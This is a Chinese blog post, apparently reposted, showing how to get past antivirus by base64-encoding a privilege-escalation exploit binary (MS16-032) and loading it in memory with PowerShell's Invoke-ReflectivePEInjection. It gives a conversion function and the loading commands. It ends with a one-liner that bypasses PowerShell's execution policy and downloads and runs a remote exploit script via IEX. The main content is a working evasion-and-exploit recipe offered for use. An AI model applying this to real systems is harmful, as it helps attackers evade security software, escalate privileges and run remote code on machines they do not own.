powershell中使用ReflectivePEInjection绕过杀毒

640?wx_fmt=gif&wxfrom=5&wx_lazy=1


有时候,使用某些exp进行提权的时候,exp可能会被查杀,当然,有源码的话,我们可以在源码上进行修改进行免杀处理,但是今天介绍的是另外一只方法,即使用PEloader来加载exp。


powershell的PEloader在这里,查看代码我们可以看到,这个脚本使用非常简单,具体代码如下:


$PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"



获取exp的字节流,之后再在内存中加载exp,所以思路也很简单,我们只需要把需要的exp转换成字符串,写入脚本,就可以构造一个powershell脚本。


这里整理了一个脚本方便转换:


function Convert-BinaryToString {
   [CmdletBinding()] param (
      [string] $FilePath
   )
   try {
      $ByteArray = [System.IO.File]::ReadAllBytes($FilePath);
   }
   catch {
      throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";
   }
   if ($ByteArray) {
      $Base64String = [System.Convert]::ToBase64String($ByteArray);
   }
   else {
      throw '$ByteArray is $null.';
   }
   $Base64String | set-content ("b64.txt")
}



使用zcgonvh的16032做演示。使用脚本转换:


PS C:\Users\evi1cg\Desktop\16_032> . .\Convert-BinaryToString.ps1
PS C:\Users\evi1cg\Desktop\16_032> Convert-BinaryToString -FilePath .\ms16-032_x64.exe


生成base64的字符串并存储在b64.txt中。

640?wx_fmt=jpeg


使用如下命令进行转换:


$InputString = "base64string"

$PEBytes = [System.Convert]::FromBase64String($InputString)



之后就可以使用

Invoke-ReflectivePEInjection -PEBytes $PEBytes


进行加载,最后分享一下最终的脚本:


E2P_MS16-032.ps1


使用方式为:

E2P_MS16-032 -Command '"net user"'

640?wx_fmt=jpeg



脚本GITHUB:


远程加载命令:640?wx_fmt=png

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/E2P_MS16-032.ps1');E2P_MS16-032 -Command '\"whoami\"'"

640?wx_fmt=jpeg

文章出处:Evi1cg's blog   

原文链接: https://evi1cg.me/archives/BypassAV_With_ReflectivePEInjection.html 

640?wx_fmt=jpeg

你可能喜欢

Meterpreter免杀技巧分享

打造“免杀”的恶意程序需要多久?用这个工具,只要几分钟

如何利用十行代码,绕过杀毒软件实现免杀?


640?wx_fmt=jpeg

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值